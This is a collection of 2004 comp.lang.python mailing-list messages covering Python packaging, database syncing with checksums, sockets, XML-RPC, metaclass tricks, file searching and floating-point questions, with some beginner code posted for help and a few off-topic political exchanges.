__init__.py ABunchOfExtensions.pyd AdditionalPythonFiles\ __init__.py ABunchOfExtraPythonFiles.py At the moment my setup script boils down to this call: setup (name="Start", version="0.1.0", author="me", excludes="temp", packages= ["Start", "Start.CompiledCExtensions", "Start.AdditionalPythonFiles"] ) I run it as: >>> python setup.py bdist And end up with a zip file containing all the .py (and.pyc) files in the correct structure but no .pyd files. I would rather not have to list each Extension individually. I could probably include the .pyd files as data files using glob, but this seems ugly. I've also tried adding a: ext_modules=[Extension("Start.CompiledCExtensions", [""])] but Extension objects really want some source to build. If I use py2exe to compile a script which depends on this package, it pulls in all the relevant parts just like I want, but of course I end up with an executable rather than a "module distribution", and presumably this would also be useless for Unix builds. I'm guessing there's some easy way to do this which I haven't found yet, so I'd be grateful for any insight. Thanks, mE ----------------------------------------------------------------------- The information contained in this e-mail is confidential and solely for the intended addressee(s). Unauthorised reproduction, disclosure, modification, and/or distribution of this email may be unlawful. If you have received this email in error, please notify the sender immediately and delete it from your system. The views expressed in this message do not necessarily reflect those of LIFFE Holdings Plc or any of its subsidiary companies. ----------------------------------------------------------------------- From this at is.invalid Thu Sep 9 08:13:01 2004 From: this at is.invalid (Mercuro) Date: Thu, 09 Sep 2004 12:13:01 GMT Subject: Shorter checksum than MD5 In-Reply-To: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> References: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > > How about putting a timestamp in each record, so you only have to > compare the records that have been updated since the last period > comparison. > ok, i will give some more information: I have a proprietary system, which I can't modify. But, it uses Foxpro DBF files which I can read. I have found all the data I want to have in a MySQL table. (this table will be used to lookop prices and to find other information about articles) Since I'm not able to put some timestamps on changed records, I got the idea to put a checksum on each record and save it in the MySQL table. Every night I would 'SELECT' all checksums together with the artikelnumbers and than compare it one by one with newly calculated checksums from the DBF file. Only the changed checksums shall be 'UPDATED' and missing numbers would be 'INSERTED'. This is the code I have for now: (I will probably change md5 with crc32) import sys, os, string, dbfreader, md5 from string import strip # import MySQL module import MySQLdb # connect db = MySQLdb.connect( .... ) # create a cursor cursor = db.cursor() cursor.execute("SELECT ID, md5sum, 0 FROM ARTIKEL;") resultaat = list(cursor.fetchall()) f = dbfreader.DBFFile("ARTIKEL.DBF") f.open() i = 0 while 1: i += 1 updated = 0 rec=f.get_next_record() if rec==None: break pr_kassa = str(rec["PR_KASSA"]) ID = rec["ID"] IDs = str(ID) assortiment = strip(str(rec["ASSORTIMENT"]))[0:1] pr_tarief = str(rec["PR_TARIEF"]) status = strip(str(rec["STATUS"]))[0:1] pr_aank = str(rec["PR_AANK"]) benaming = string.join(string.split(str(rec["BENAMING"]), "'"), "\\'") md5sum = md5.new(pr_kassa + IDs + assortiment + pr_tarief + status + pr_aank + benaming).hexdigest()[3:8] if (i % 100) == 0: print "record %i: ID %s" % (i, IDs) # lijst optimaal maken om in te zoeken make list more optimal to search trough tmp = resultaat[:90] resultaat = resultaat[90:] resultaat.extend(tmp) if resultaat != None: for record in resultaat: if record[0] == ID: #record[2] = 1 if record[1]!=md5sum: print "update record (ID: %s)" % IDs # update van bestaand record, md5 sum does not match cursor.execute("UPDATE ARTIKEL SET " + "benaming='%s', status=%s, assortiment='%s', pr_aank=%s, pr_tarief=%s, pr_kassa=%s, md5sum='%s' WHERE ID=%s ;" % (benaming, status, assortiment, pr_aank, pr_tarief, pr_kassa, md5sum, IDs)) updated = 1 break if (updated == 0) & (ID < 8000000): # nieuw record print "nieuw record (ID: %s)" % IDs cursor.execute("INSERT INTO ARTIKEL (ID, benaming, status, assortiment, pr_aank, pr_tarief, pr_kassa, md5sum)" + " VALUES ( %s, '%s', %s, '%s', %s, %s, %s, '%s', '%s' );" % (IDs, benaming, status, assortiment, pr_aank, pr_tarief, pr_kassa, md5sum)) f.close() ############################################# If anybody has any better ideas, I'm happy to hear them! From jpgrayson at gmail.com Wed Sep 15 14:29:59 2004 From: jpgrayson at gmail.com (Peter Grayson) Date: Wed, 15 Sep 2004 12:29:59 -0600 Subject: See exactly what a function has returned In-Reply-To: <4a0cafe204091510512fc955f9@mail.gmail.com> References: <4a0cafe204091510512fc955f9@mail.gmail.com> Message-ID: > > def print_whats_returned(function): > > ## A function that shows what another function has returned > > ## as well as the 'type' of the returned data. > > print function > > print type(function) This function does not do what you are expecting; type(function) does not return the type that function returns, it returns the type of the object passed in. def foo(): return 42 >>> print foo >>> print type(foo) Because Python is a dynamically typed language, it is not possible for the interpreter to know what type of object a function returns without executing it. In fact, it is possible for a function to return different kinds of things. For example: def bar(x): if x == 0: return 42 elif x== 1: return "Forty-two" else: return None In a statically typed language, like C, we neccessarily know what type of thing is returned and we know it at compile-time. In Python, the type of the returned object is only bound at run-time. In practice, this means that we usually have to "just know" what a function returns by knowing the intended semantics of the function. That said, you could write a function like this that tells you about the return type of a function for a given invocation of that function ... def characterize(f, *args): r = f(*args) print type(r) >>> characterize(bar, 0) >>> characterize(bar, 1) >>> characterize(bar, 2) Hope this helps. Pete From miki.tebeka at zoran.com Sun Sep 5 12:17:29 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Sun, 5 Sep 2004 18:17:29 +0200 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: <413AEEF9.7060102@cosc.canterbury.ac.nz> References: <413AEEF9.7060102@cosc.canterbury.ac.nz> Message-ID: <20040905161729.GD2220@zoran.com> Hello greg, > PEP ??? - Overloadable Boolean Operators > ======================================== > > Unary: __not__(self) > > Binary, phase 1: __and1__(self) __or1__(self) > > Binary, phase 2: __and2__(self, other) __or2__(self, other) > __rand2__(self, other) __ror2__(self, other) > > Why not just __bool__(self) -> True, False? IMO this will answer all of your needs and will require less changes. Bye. -- ------------------------------------------------------------------------ Miki Tebeka http://tebeka.spymac.net The only difference between children and adults is the price of the toys From irmen at -nospam-remove-this-xs4all.nl Mon Sep 20 13:40:44 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Mon, 20 Sep 2004 19:40:44 +0200 Subject: Shopping cart In-Reply-To: <81a41dd.0409200816.5659197b@posting.google.com> References: <81a41dd.0409200816.5659197b@posting.google.com> Message-ID: <414f161b$0$25965$e4fe514c@news.xs4all.nl> Lad wrote: > Is there a shopping cart in Python available? I have no clue what you are asking. Perhaps the answer is here: http://www.catb.org/~esr/faqs/smart-questions.html --Irmen From clifford.wells at comcast.net Thu Sep 16 19:14:31 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Thu, 16 Sep 2004 16:14:31 -0700 Subject: wxPython Not Ready for Commercial Use In-Reply-To: References: Message-ID: <1095376471.31957.144.camel@devilbox.devilnet.internal> On Thu, 2004-09-16 at 09:27 -0700, Polerio Babao Jr.II wrote: > Please correct me if im wrong. I have depended much on python and > wxpython gui apps. After a year of using python apps I was able to do > good application written entirely in python. One big problem came into > my attention. The printing support. Yes, there was reportlab. But what > if your client wanted to simulate the customized excel output and have > it converted to reportlab. you cannot do it 100%. There are so many > drawbacks which I do not like. I tried to use the xml file of excel > and modify it on the fly to answer that problem but still not a very > good solution. > > I am targetting crystal report as my ideal reporting application. From > my experiences I was not able to print a very good output for > commercial application. If anyone can provide me a very good reporting > application that can be integrated within python I must say python can > be used for commercial gui app. If not then we are all correct, python > is good for training purposes but not for production yet. Please > excempt reportlab from your choices as I have used it already and was > not able to simulate excel like output, still you can do it, the very > difficult way. I am just dissapointed, now I am trying to learn c++/qt > to solve my gui and printing problem. Please correct me if I am wrong. > Thanks. Ah, the old "make an inflammatory statement to goad someone into answering my question" tactic. When it comes to automating external applications (Crystal Reports, Excel) on Windows, there's only a couple of ways to do it, and it has nothing to do with programming language choice. COM is the answer and Python has it. You can try C++ if you like, but what you'll find is that you are going to run into exactly the same problem, only it will take you twice as long to get there. If you want "Excel-like" output, why not use COM to control Excel? It's been several years, but I built an application (using Python, wxPython and win32com) to do just that. If what you are looking for is someone to show you how to do it, why not just pay someone to do it? Perhaps it's the programmer, not the language, that isn't ready for production ;) Regards, Cliff -- Cliff Wells From daniel.dittmar at sap.corp Wed Sep 15 12:27:51 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Wed, 15 Sep 2004 18:27:51 +0200 Subject: i am going to get crazy!!! In-Reply-To: <4a9d4c93.0409150757.2015bbbb@posting.google.com> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <1095228220.28128.71.camel@devilbox.devilnet.internal> <4a9d4c93.0409150757.2015bbbb@posting.google.com> Message-ID: andresm wrote: > with an ide i can scan object's behavior and their members's > doc in 1.5 seconds while not changing the enviroment , in situa > tion 2 i can do exactly the same, just that it takes 5 to 10 sec > which is way to much time for an operation i do so so frecuently > This is an example of how an ide makes a huge diference . This > is the only feature i want in an ide, it saves tons of time As someone else wrote in this thread: - Python is dynamically typed - thus, the types of most expressions can't be inferred by an ide - when the type of an expression is unknown, no useful code completition is possible - modules are an exception, but having code completition on the re module doesn't help that much as most of the time you'll deal with objects out of that module like re objects and match objects - at least one company provides a commercial IDE (Wing IDE) which claims to support auto completition by sophisticated data flow analysis. How well it works probably depends on your programming style Daniel From reply.in.the.newsgroup at my.address.is.invalid Wed Sep 15 12:57:35 2004 From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman) Date: Wed, 15 Sep 2004 18:57:35 +0200 Subject: socket programming References: Message-ID: Ajay: >the problem is when my client finished sending and waits to receive, on the >server side, it still stays in the while loop waiting to receive more data. > >how do i stop that? You need to define a protocol for the communication between client and server, and implement the server in such a way that it sends what it's expected to send, when it has received what it expected to receive. In your current code, the server is expecting an infinite amount of data, while the client is sending only a few bytes. -- Ren? Pijlman From lopezr at dickinson.edu Fri Sep 24 13:51:57 2004 From: lopezr at dickinson.edu (Rene Lopez) Date: Fri, 24 Sep 2004 17:51:57 GMT Subject: reading a rar archive.... Message-ID: <19Z4d.2105$Pd2.714832@monger.newsread.com> Is there any way to get python to read files from a rar archive? From ptmcg at austin.rr._bogus_.com Sun Sep 5 02:43:37 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sun, 05 Sep 2004 06:43:37 GMT Subject: Python COM vs Visual Basic COM References: <41389DCD.33B3D0E4@lawcomputing.com> Message-ID: "Kendall Dugger" wrote in message news:41389DCD.33B3D0E4 at lawcomputing.com... > > I have to use an ultra simple call to a couple of > WordPerfect COM functions. > Try reposting on the win32 list at ActiveState. I think you will get a quicker response. -- Paul From martin at v.loewis.de Fri Sep 17 14:36:27 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 20:36:27 +0200 Subject: XML_RPC and unicode problems In-Reply-To: References: <7bf84d19.0409161548.521da358@posting.google.com> <414A8659.7080902@v.loewis.de> Message-ID: <414b2ea8$0$6335$9b622d9e@news.freenet.de> phansen wrote: >>> Seems to me that description is inadequate, if one has to revert >>> to to pass through a string with an \xa0 in it. >> >> >> No. \xa0 just is not a character. In XML, all bytes must denote >> characters, and \xa0 does not denote any character when the >> encoding is UTF-8. >> >> To transmit binary data, use the base64 element, available through >> xmlrpclib.Binary in Python. > > > That's what I said, isn't it? Just checking, because you started > your response with "No", as though I had said something incorrect. Ah, I only read the answer of the fragment you quoted, not the question :-( Yes, that answer is confusing, as it doesn't really answer it (although the answer itself is correct). Binary data and XML-RPC has a long and confusing history. Regards, Martin From pfortin at pfortin.com Sat Sep 18 14:59:40 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Sat, 18 Sep 2004 14:59:40 -0400 Subject: args v. *args passed to: os.path.join() References: <20040918132643.74ba4b6d@gypsy.pfortin.com> Message-ID: <20040918145940.40b49454@gypsy.pfortin.com> On Sat, 18 Sep 2004 20:08:35 +0200 Heiko wrote: > Now, when you call: > > os.path.join(["a","b"]) > > the list ends up in the a parameter, and because the function doesn't > have to do anything (there are no more arguments), the list is returned > unchanged (although this should probably raise a TypeError, anyone?). ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ======= That was the whole point; the rest was pretty much my understanding too... I can't think of any reason why os.path.join() should ever be presented anything but strings... on the other hand, maybe it could check for lists/tuples and use those to return the expected "a/b"... Then again, I just checked a number of functions in os and os.path; os.path.join() seems to be the only one which fails to return a TypeError... From jmfbahciv at aol.com Wed Sep 15 06:49:58 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 15 Sep 04 10:49:58 GMT Subject: Xah Lee's Unixism References: <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> Message-ID: <414831ab$0$2651$61fed72c@news.rcn.com> In article <87brg96kfe.fsf at p4.internal>, Bulent Murtezaoglu wrote: > >Soo, another lisper cannot resist the temptation. > >>>>>> "GM" == Greg Menke writes: >[...] > GM> They're pretty convinced of that already- after all Dubya > GM> called this a crusade from day 1. [...] > >In all fairness I think that was plain dumbness in use of langauge. >He didn't mean a crusade in the historic sense. Even if he thinks it, >that was nothing more than an unfortunate choice of words. I am 99% >sure of this as I vividly remeber my jaw dropping when I saw him say >it in the window to the left of the one I was reading this very >newsgroup in. The men in that family are not good public speakers >and they seem to have trouble expressing themselves to reporters. >I see no malice in that. This style of language had more to do with born-again Christians dropping into preacher-speak when talking to more than zero people. /BAH Subtract a hundred and four for e-mail. From tjreedy at udel.edu Fri Sep 24 14:48:07 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 24 Sep 2004 14:48:07 -0400 Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: "Askari" wrote in message news:Xns956E4CDA892D7askariaddressNonVali at 207.35.177.135... > "Guyon Mor?e" wrote in > news:41540121$0$3891$4d4ebb8e at news.nl.uu.net: > > "rb" and "r" on a text file is the same if your text file have ascii > caractere (8bit) but it's not the same for Unicode caractere (16 bit). > Bref, if you sure that your file is ONLY text, use "r", else, use always > "rb". And "r" don't read the control caractere other that "\n" "\t" .. > etc Newbies, ignore this confusion. On Windows, text mode autoconverts \r\n to \n on input and viceverse on output. I believe that that is all the difference. Period. Terry J. Reedy From cbfalconer at yahoo.com Mon Sep 20 14:07:50 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Mon, 20 Sep 2004 18:07:50 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: <414F156C.7C28AEFB@yahoo.com> Alan Balmer wrote: > Patrick Scheible wrote: > ... snip ... >> >> They have committees, they don't have independent >> intelligence-gathering ability. > > Neither does President Bush - he doesn't have time for all > those field trips. That's why he gets reports from the various > intelligence agencies, who also report to the Congressional > intelligence committees. Then why does he ignore them, as evidenced by his non-response to the July report on the future of Iraq, which was kept secret until a few days ago? -- "It is not a question of staying the course, but of changing the course" - John Kerry, 2004-09-20 "Ask any boat owner the eventual result of continuing the present course indefinitely" - C.B. Falconer, 2004-09-20 From aleaxit at yahoo.com Mon Sep 20 10:39:18 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 16:39:18 +0200 Subject: strange problem with os.getlogin References: <4edc17eb.0409200607.49e157b7@posting.google.com> Message-ID: <1gkf73f.3ahxcb1pqik4pN%aleaxit@yahoo.com> Michele Simionato wrote: > I am having a strange issue with os.getlogin on Mandrake 10: > > $ python -c "import os; print os.getlogin()" > Traceback (most recent call last): > File "", line 1, in ? > OSError: [Errno 2] No such file or directory > > On another linux machine (Debian) instead it works as expected. > For the moment I am using os.popen("whoami").read() which works > but it is an hack :-( > Does anybody have an idea of the source of the problem? Try running that python -c under strace (with the appropriate flags set to avoid excessive tracing... you really care about tracing 'open' syscalls, maybe 'access' or 'readlink'...) to see what getlogin is trying to open. On my Mandrake 9.2, it tries /var/run/utmpx, which fails, then /var/run/utmp, which succeeds. I don't have a 10.0 handy to try... (I had installed it on the 'toy machine' but then I installed ubuntu on top of it recently;-). Alex From fuzzyman at gmail.com Mon Sep 6 02:39:32 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 5 Sep 2004 23:39:32 -0700 Subject: POST method, CGI and file transfer References: Message-ID: <6f402501.0409052239.2c18f9e4@posting.google.com> "Robert Brewer" wrote in message news:... > Michael Foord wrote: > > Another http question. > > First one is simple - if a POST is made *to* a CGI with file uplaods > > then you can get a FieldStorage with list values - each entry in the > > list being a file. Two questions about this : > > 1) Is this the only situation you'll get list values posted to a CGI ? > > If you have a list value in your FieldStorage instance can you be sure > > that it's files ? > > If I understand your question correctly, the answer is no. Regardless of > whether you use GET or POST, you can submit something like > "/script.cgi?value=1&value=2&value=3" and expect a list: value = > [1, 2, > 3]. This behavior was around long before file uploads. ;) > > Right - thanks Robert. That answers one of my questions. Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html > Robert Brewer > MIS > Amor Ministries > fumanchu at amor.org From peter at engcorp.com Thu Sep 9 22:05:26 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 Sep 2004 22:05:26 -0400 Subject: newbie sending hex values over UDP socket In-Reply-To: References: Message-ID: Bill Seitz wrote: > I have to send 3 bytes which he explains as being > 72 69 30 > > Now, what the heck should I really be sending? I know he's giving just > a simplified representation. > > Am I really looking to send > '726930' > or > '\x72\x69\x30' Very likely the latter one. If not, then your "partner" is unclear on the concept and needs to learn better how to explain things like this. :-) > If I'm aiming for the 2nd format, how do I best generate it? If I'm > going the other direction, it seems like > struct.unpack('sss','\x72\x69\x30') > works OK Hmm... the string you give above *is* the raw data... no conversion with struct.pack or unpack is required. > Sorry for the silly question... I'm trying not to look like a chump > (to that partner) Good strategy, asking here... I could be wrong, but based on what you say it really looks like doing sock.send('\x72\x69\x30') (or perhaps sock.sendto()) is what you need. Does the "ri0" representation look more like what you are actually sending? In other words, which is the more natural representation of the data? Whichever it is, it doesn't look like you realized that *they are exactly the same thing*. The '\x72\x69\x30' form is merely an alternate way of telling the Python compiler that you want it to create a string consisting of three bytes, which in ASCII can be represented as "ri0". The socket calls just take strings, which in Python are simply sequences of bytes, nothing more... -Peter From sizelji at insightbb.com Thu Sep 16 09:19:53 2004 From: sizelji at insightbb.com (Jim Sizelove) Date: Thu, 16 Sep 2004 13:19:53 GMT Subject: Rotating lists? In-Reply-To: <1tjgfwiee2us5$.dlg@thorstenkampe.de> References: <1tjgfwiee2us5$.dlg@thorstenkampe.de> Message-ID: Thorsten Kampe wrote: > > def rotate(seq, > offset): > """ shift seq to the left by offset, with the elements shifted off the > beginning inserted back at the end """ > return seq[offset:] + seq[:offset] You can also use a generator function: def rotator(seq, offset=1): while True: yield seq seq = seq[offset:] + seq[:offset] T = rotator(range(5)) T.next() [0, 1, 2, 3, 4] T.next() [1, 2, 3, 4, 0] T.next() [2, 3, 4, 0, 1] You can rotate to the right using a negative offset: L = rotator( range(5), -1 ) L.next() [0, 1, 2, 3, 4] L.next() [4, 0, 1, 2, 3] L.next() [3, 4, 0, 1, 2] From toc-01-nospam at blikroer.dk Fri Sep 24 16:48:32 2004 From: toc-01-nospam at blikroer.dk (Tomas Christiansen) Date: Fri, 24 Sep 2004 22:48:32 +0200 Subject: Global Interpreter Lock Message-ID: Excaclty HOW global is the global interpreter lock? I know that it isn't global in the meaning "the hole world" (imagine that!), but is it global only to each task/job/python interpreter instance (running one or more threads) or is it global to the user or the computer or...? In other words, what is the impact of the global interpreter lock if... 1. If user A has two different python programs running? 2. If user A is running a python program and user B is running one as well? 3. Does the OS (Linux or Windows) make a difference to the impact of the global interpreter lock? ------- Tomas From frithiof.jensen at die_spammer_die.ericsson.com Wed Sep 29 07:07:28 2004 From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen) Date: Wed, 29 Sep 2004 13:07:28 +0200 Subject: Multiple Interpreters In a Single Thread References: Message-ID: "bmatt" wrote in message news:efd29696.0409230652.8c6f748 at posting.google.com... > I am trying to support multiple interpreter instances within a single > main application thread. I think it sounds tricky and doomed to endless debugging - given that one does not really have full control over the interpreter, not many people "go there" and therefore there may lurk undocumented implementation & machine detail that change suddently ... > Any information would be appreciated. I *guess* that what you want to do is to be able to attach/detach functionality to an application so that 'the user' can build/customise his own custom tool from a set of available building-blocks and some runtime configuration tool? If you base your framework on Pyro and design a protocol for registration, location and inter-connection of Services, I think your life might be simpler; With Pyro your independent Python Thread will be in separate applications, but the Pyro interface makes all objects appear local to the application using them. I like it. http://pyro.sourceforge.net/ From bokr at oz.net Mon Sep 27 16:56:04 2004 From: bokr at oz.net (Bengt Richter) Date: 27 Sep 2004 20:56:04 GMT Subject: Metaclass with name overloading. References: <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> Message-ID: On Mon, 27 Sep 2004 19:11:14 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Thomas Heller wrote: > ... >> It won't work for ordinary attributes, but for overloading methods you >> should be able to play some tricks with decorators and sys._getframe(). > >Great idea... love it!!! To clarify it a bit for people who may not be >as familiar with internals as Mr Heller...: a decorator 'sees' the >method it's decorating "at once", so it doesn't matter if that method's >name later gets trampled upon... as long as the decorator can stash the >original away somewhere, and the frame in which the class body is >executing is just the right 'somewhere'. > >A code snippet may be clearer than words...: > >import sys, itertools > >_ignore_method = object() > >def overloaded(f): > d = sys._getframe(1).f_locals > n = '__overloaded__%s__%%d' % f.func_name > for i in itertools.count(): > nx = n % i > if nx in d: continue > d[nx] = f > break > return _ignore_method > >class blop: > @ overloaded > def f(self): return 'first f' > @ overloaded > def f(self): return 'second f' > >print blop.__dict__ > > >so, class blop doesn't really have an 'f' (it does have it in the >__dict__, but it's a dummy '_ignore_method' entry with a suitable custom >metaclass would easily prune!-) but has __overloaded__f__0 and >__overloaded__f__1 methods (which, again, a suitable custom metaclass >could do whatever wonders with!-). > >For overload purposes, you might have the decorator actually take as >arguments some _types_ and record them so that the metaclass can arrange >for the dispatching based on actual-argument types... > >If you bletch at having to decorate each overloaded version with >'@overloaded', consider C# basically requires that "just BECAUSE", >without even having a good excuse such as "we need to do it that way due >to Python's semantics"...;-) > If there were a way to make a local bare name access work like a property or other descriptor, by designating such names suitably, then def f... could trigger the setter of an f property and that could do whatever. It might be interesting for a function closure variables also, but here we are talking about class bodies. Here is a straw man: class blop: localdesc: f = property(fget, fset) def f(self): return 'first f' def f(self): return 'second f' This effectively considers the local namespace as the attribute name space of _something_, presumably an internal instance of some synthesized Localspace class, let's say localspace = LocalspaceType()() -- IOW a fresh class as well as its instance, so as to cut off base class searching and not to have surprising sharing. Optimization is for later ;-) The localdesc suite would cause assignment to be via type(localspace).__dict__.__setitem__ whereas normal local names would be evaluated by get/setattr(localspace, barename) and thus trigger descriptors if present. Note that all bindings including from def and class as well as ordinary variables could be intercepted by descriptors. sys._getframe(level).f_locals would presumably be a special proxy object instead of a dict when there is a localdesc: suite in the body, so that it could decide whether names are descriptors or ordinary. Otherwise it could remain the usual dict and not get a performance hit, I suppose. Regards, Bengt Richter From danperl at rogers.com Wed Sep 29 10:21:19 2004 From: danperl at rogers.com (Dan Perl) Date: Wed, 29 Sep 2004 10:21:19 -0400 Subject: Program that can find a find a file for you ? References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net> <415abff2$0$13728$ba624c82@nntp03.dk.telia.net> Message-ID: You didn't almost do it, you are still very far from it. The code you've written so far is full of mistakes and I'm really not sure even what you are trying to do. Instead of writing the whole program in one shot, try to write just something very small, try it, make it work and then add one more small thing. For instance, try to run a script with only the first 5 lines that you wrote and you will find a problem already. Fix that and then add the function with only its first statement. Invoke the function and you will find another problem. Fix that. And so on. I'm curious though. Is this maybe an assignment for a course that you are taking? Dan "Peter....." wrote in message news:415abff2$0$13728$ba624c82 at nntp03.dk.telia.net... > Hi again all. > I allmost did it, just need the line to run the program now, any ideas, my > head hurts, cant think anymore..... Thanks for your help > > import sys > import os.path > import os.dir > a = sys.argv[2] > b = sys.argv[3] > > def func (bib, end): > c = os.path.dirlist(bib) > > for x in c: > d = os.dir.split(x) > if [1] = end > print (bib, end) > > if __name__=="__main__": > > > > > > "Thomas Guettler" wrote in message > news:pan.2004.09.29.13.18.28.288793 at thomas-guettler.de... >> Am Wed, 29 Sep 2004 11:25:39 +0200 schrieb Peter Hansen: >> >>> Greetings. >>> >>> Im trying to write a program that can be run from the command line. >>> If I want to search for example after a file with the ending .pdf, I >>> should >>> be able to write in the command line: >>> python name of my program / the libary to search and what kind of file >>> it >>> is example a .pdf file >>> So if my program name was test.py and the library name was library1 and >>> the >>> test type i wanted to find was, a .pdf file >>> I should write python test.py /library1 .pdf >> >> Hi, >> >> This is something the "find" command does in a unix environment. >> >> Here is my solution: >> >> You could use this: >> find.py your_path 'library1.*\.pdf$' >> >> #!/usr/bin/env python >> # -*- coding: iso-8859-1 -*- >> >> >> # Python Imports >> import os >> import re >> import sys >> >> def usage(): >> print """Usage: %s path regex >> Print all files or directories with match the regex. >> >> See this URL for the syntax of the regular expressions >> http://docs.python.org/lib/re-syntax.html >> >> """ % (os.path.basename(sys.argv[0])) >> >> def visit(regex, dirname, names): >> for name in names: >> p=os.path.join(dirname, name) >> if regex.search(p): >> print p >> def main(): >> if len(sys.argv)!=3: >> usage() >> sys.exit(1) >> path=sys.argv[1] >> regex=sys.argv[2] >> os.chdir(path) >> regex=re.compile(regex) >> os.path.walk(".", visit, regex) >> >> if __name__=="__main__": >> main() >> > > From jarrodhroberson at yahoo.com Sun Sep 19 22:52:12 2004 From: jarrodhroberson at yahoo.com (Y2KYZFR1) Date: 19 Sep 2004 19:52:12 -0700 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: Carlos Ribeiro wrote in message news:... > On Fri, 17 Sep 2004 21:43:04 +1000, huy wrote: > > Hi, > > > > Just wondering if there were any plans (or existing projects) similar to > > Java webstart for Python. I think this would be a boon for python. I > > would love to start my new project using Python but the deployment (and > > long term upgrading) factor is a major itch which pyfreeze and py2exe > > just doesn't scratch properly. > > I sincerely don't understand why a Python Webstart would be more > useful than pyfreeze and py2exe. then you really don't understand what WebStart does. From steven.bethard at gmail.com Mon Sep 13 03:40:07 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 13 Sep 2004 07:40:07 +0000 (UTC) Subject: unittest.TestCase, lambda and __getitem__ References: <1gk1nqx.1ul836r1k96yuhN%aleaxit@yahoo.com> Message-ID: Alex Martelli yahoo.com> writes: > Steven Bethard gmail.com> wrote: > > Or is there a better/clearer way of handling this kind of test case? > > Sure: > > def wrong_indexing(): return obj[index] > self.assertRaises(ValueError, wrong_indexing) Yeah, I guess I was just begging someone to give me that response. ;) First, I have to mention that I'd probably have to write your code as def wrong_indexing(): return obj[index] self.assertRaises(ValueError, wrong_indexing) because GvR has also commented that he wishes he hadn't allowed the one- line "if: statement" syntax, so by analogy, I assume he'd also rather no one- line def statement. So I'm stuck replacing a single line with three... I was hoping to avoid this... (Of course, if I have a bunch of obj[index] type calls, I can average the additional line cost over all of these by making the function suitably general.) Regardless, your analogy between obj[index] and an arbitrary mathematical expression was helpful. It clarifies that, what I really want is an anonymous code block... Hmm... Well, if this is really the only option, I'll probably leave these lambdas until I absolutely have to remove them... Steve From lists at neror.com Wed Sep 1 10:43:09 2004 From: lists at neror.com (Nathan Eror) Date: Wed, 1 Sep 2004 09:43:09 -0500 Subject: GUI Designer In-Reply-To: References: Message-ID: <3E2D0C04-FC25-11D8-BFBF-0003935AEAAE@neror.com> Or Boa Constructor if you're interested in wxPython http://boa-constructor.sourceforge.net/ On Sep 1, 2004, at 7:32 AM, Stephen Ferg wrote: > Look at PythonCard > http://pythoncard.sourceforge.net/ > -- > http://mail.python.org/mailman/listinfo/python-list > From donn at u.washington.edu Wed Sep 29 18:22:35 2004 From: donn at u.washington.edu (Donn Cave) Date: Wed, 29 Sep 2004 15:22:35 -0700 Subject: Avoiding shell metacharacters in os.popen References: Message-ID: In article , Nick Craig-Wood wrote: ... > What my post was about was avoiding the shell completely. If you use > os.system(string) then you go via the shell. However if you use > os.spawnl(mode, file, *args) then it doesn't go anywhere near the > shell. As I pointed out in my post there isn't an equivalent for > os.popen* which doesn't go via the shell (except for undocumented > os.popen2). Well, it sounded to me like the real problem is that Microsoft Windows doesn't support any functional equivalent to spawnv for pipes. I don't know if that's true or not, I'm just taking it from you that os.popen2 doesn't support a list of parameters [1] on Microsoft Windows platforms, and inferring that it doesn't because it can't - there isn't any specific function that does it, and you can't just roll your own out of pipe/fork/execve like you can on UNIX, as in fact popen2 does. If that's really a question and not a well known fact, you might pose it again with a subject line that would attract more attention from Microsoft Windows developers, since only they would know. The attempt to cast it as a general Python problem could be counterproductive, if it means the people who read about this problem tend to be those who don't really suffer from it. Donn Cave, donn at u.washington.edu From timr at probo.com Sun Sep 26 02:10:56 2004 From: timr at probo.com (Tim Roberts) Date: Sat, 25 Sep 2004 23:10:56 -0700 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> Message-ID: David O'Farrell wrote: > >Is this only on solaris ? Every IEEE754 processor, every language. >Python 2.3.3 (#1, Mar 19 2004, 16:18:33) >[GCC 2.95.2 19991024 (release)] on sunos5 >Type "help", "copyright", "credits" or "license" for more information. > >>> a=[66.6, 333, 333, 1, 1234.5] > >>> print a.count(333), a.count(66.6), a.count('x') >2 1 0 > >>> a.append(333) > >>> print a >[66.599999999999994, 333, 333, 1, 1234.5, 333] This is a FAQ. The short answer is that 66.6 